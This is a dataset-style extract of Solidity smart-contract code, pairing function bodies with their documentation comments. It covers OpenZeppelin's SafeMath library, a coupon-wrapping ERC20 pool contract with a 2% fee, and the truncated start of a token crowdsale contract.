* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | sub | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://81779e44a0456cf99d259eb09d00f4b8b9294c1bc7690f0d64d5df813a9831ff | {
"func_code_index": [
1162,
1359
]
} | 513 |
||
PooledDSDCoupons | PooledDSDCoupons.sol | 0x3eab7b78ca39ca1c9f371290308428b7975f8747 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
| /**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://81779e44a0456cf99d259eb09d00f4b8b9294c1bc7690f0d64d5df813a9831ff | {
"func_code_index": [
1613,
2089
]
} | 514 |
||
PooledDSDCoupons | PooledDSDCoupons.sol | 0x3eab7b78ca39ca1c9f371290308428b7975f8747 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://81779e44a0456cf99d259eb09d00f4b8b9294c1bc7690f0d64d5df813a9831ff | {
"func_code_index": [
2560,
2697
]
} | 515 |
||
PooledDSDCoupons | PooledDSDCoupons.sol | 0x3eab7b78ca39ca1c9f371290308428b7975f8747 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | div | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://81779e44a0456cf99d259eb09d00f4b8b9294c1bc7690f0d64d5df813a9831ff | {
"func_code_index": [
3188,
3471
]
} | 516 |
||
PooledDSDCoupons | PooledDSDCoupons.sol | 0x3eab7b78ca39ca1c9f371290308428b7975f8747 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://81779e44a0456cf99d259eb09d00f4b8b9294c1bc7690f0d64d5df813a9831ff | {
"func_code_index": [
3931,
4066
]
} | 517 |
||
PooledDSDCoupons | PooledDSDCoupons.sol | 0x3eab7b78ca39ca1c9f371290308428b7975f8747 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | mod | function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://81779e44a0456cf99d259eb09d00f4b8b9294c1bc7690f0d64d5df813a9831ff | {
"func_code_index": [
4546,
4717
]
} | 518 |
||
PooledDSDCoupons | PooledDSDCoupons.sol | 0x3eab7b78ca39ca1c9f371290308428b7975f8747 | Solidity | PooledDSDCoupons | contract PooledDSDCoupons is ReentrancyGuard {
using SafeMath for uint;
IDSDS public DSDS = IDSDS(0x6Bf977ED1A09214E6209F4EA5f525261f1A2690a);
address public owner;
uint public totalSupply;
string public constant name = "DSD Coupon Pool 3";
string public constant symbol = "DPOOL3";
uint8 public constant decimals = 18;
uint public constant WRAP_FEE_BPS = 200;
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
constructor() public {
owner = msg.sender;
}
function wrap(uint _epoch, uint _amount) public nonReentrant {
uint expiryEpoch = DSDS.couponsExpiration(_epoch); //safe to assume this is 360 more epochs for all old coupons but we call this, anyway
uint expiresIn = 0; //assume already expired as default
if (DSDS.epoch() < expiryEpoch) expiresIn = expiryEpoch.sub(DSDS.epoch()); // calcuate epochs remaining for non-expired (must be expiring in the next 12 epochs)
require(expiresIn <= 12, "PooledDSDCoupons: coupon must be expired or expiring in less than 12 epochs");
//fee 2% fixed
uint fee = _amount.mul(WRAP_FEE_BPS).div(10000);
_mint(owner, fee);
_mint(msg.sender, _amount.sub(fee));
DSDS.transferCoupons(msg.sender, address(this), _epoch, _amount);
}
function unwrap(uint _epoch, uint _amount) public nonReentrant {
_burn(msg.sender, _amount);
DSDS.transferCoupons(address(this), msg.sender, _epoch, _amount);
}
// ERC20 functions
function approve(address _spender, uint _amount) public returns (bool) {
_approve(msg.sender, _spender, _amount);
return true;
}
function transfer(address _recipient, uint _amount) public returns (bool) {
_transfer(msg.sender, _recipient, _amount);
return true;
}
function transferFrom(address _sender, address _recipient, uint _amount) public returns (bool) {
_transfer(_sender, _recipient, _amount);
_approve(_sender, msg.sender, allowance[_sender][msg.sender].sub(_amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _transfer(
address _sender,
address _recipient,
uint _amount
) internal {
require(_sender != address(0), "ERC20: transfer from the zero address");
require(_recipient != address(0), "ERC20: transfer to the zero address");
balanceOf[_sender] = balanceOf[_sender].sub(_amount, "ERC20: transfer amount exceeds balance");
balanceOf[_recipient] = balanceOf[_recipient].add(_amount);
emit Transfer(_sender, _recipient, _amount);
}
function _mint(address _account, uint _amount) internal {
require(_account != address(0), "ERC20: mint to the zero address");
totalSupply = totalSupply.add(_amount);
balanceOf[_account] = balanceOf[_account].add(_amount);
emit Transfer(address(0), _account, _amount);
}
function _burn(address _account, uint _amount) internal {
require(_account != address(0), "ERC20: burn to the zero address");
totalSupply = totalSupply.sub(_amount);
balanceOf[_account] = balanceOf[_account].sub(_amount);
emit Transfer(_account, address(0), _amount);
}
function _approve(address _owner, address _spender, uint _amount) internal {
require(_owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
allowance[_owner][_spender] = _amount;
emit Approval(_owner, _spender, _amount);
}
} | approve | function approve(address _spender, uint _amount) public returns (bool) {
_approve(msg.sender, _spender, _amount);
return true;
}
| // ERC20 functions | LineComment | v0.6.12+commit.27d51765 | None | ipfs://81779e44a0456cf99d259eb09d00f4b8b9294c1bc7690f0d64d5df813a9831ff | {
"func_code_index": [
1698,
1842
]
} | 519 |
||
Crowdsale | Crowdsale.sol | 0xb33b80584a1c787dacac724c6933b537929ab0bc | Solidity | Crowdsale | contract Crowdsale {
using SafeMath for uint256;
// uint256 durationInMinutes;
// address where funds are collected
address public wallet;
// token address
address public addressOfTokenUsedAsReward;
// uint256 public price = 300;
uint256 public weiPerToken = 1787289880;
token tokenReward;
// mapping (address => uint) public contributions;
// start and end timestamps where investments are allowed (both inclusive)
// uint256 public startTime;
// uint256 public endTime;
// amount of raised money in wei
uint256 public weiRaised;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale() {
//You will change this to your wallet where you need the ETH
wallet = 0x6a3a52fF68f684A6D8402F450d52275F41246253;
// durationInMinutes = _durationInMinutes;
//Here will come the checksum address we got
addressOfTokenUsedAsReward = 0x6A3777eB316ed485dd399628E8C0711eB8f5b0dB;
tokenReward = token(addressOfTokenUsedAsReward);
}
bool public started = true;
function startSale(){
if (msg.sender != wallet) throw;
started = true;
}
function stopSale(){
if(msg.sender != wallet) throw;
started = false;
}
// function setPrice(uint256 _price){
// if(msg.sender != wallet) throw;
// price = _price;
// }
function setWeiPerToken(uint256 _weiPerToken){
if(msg.sender!=wallet) throw;
weiPerToken = _weiPerToken;
}
function changeWallet(address _wallet){
if(msg.sender != wallet) throw;
wallet = _wallet;
}
function changeTokenReward(address _token){
if(msg.sender!=wallet) throw;
tokenReward = token(_token);
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// low level token `purchase function
function buyTokens(address beneficiary) payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be sent
uint256 tokens = ((weiAmount * (10**18)) / weiPerToken);//weiamount * price
// uint256 tokens = (weiAmount/10**(18-decimals)) * price;//weiamount * price
// update state
weiRaised = weiRaised.add(weiAmount);
// if(contributions[msg.sender].add(weiAmount)>10*10**18) throw;
// contributions[msg.sender] = contributions[msg.sender].add(weiAmount);
tokenReward.transfer(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
// wallet.transfer(msg.value);
if (!wallet.send(msg.value)) {
throw;
}
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = started;
bool nonZeroPurchase = msg.value != 0;
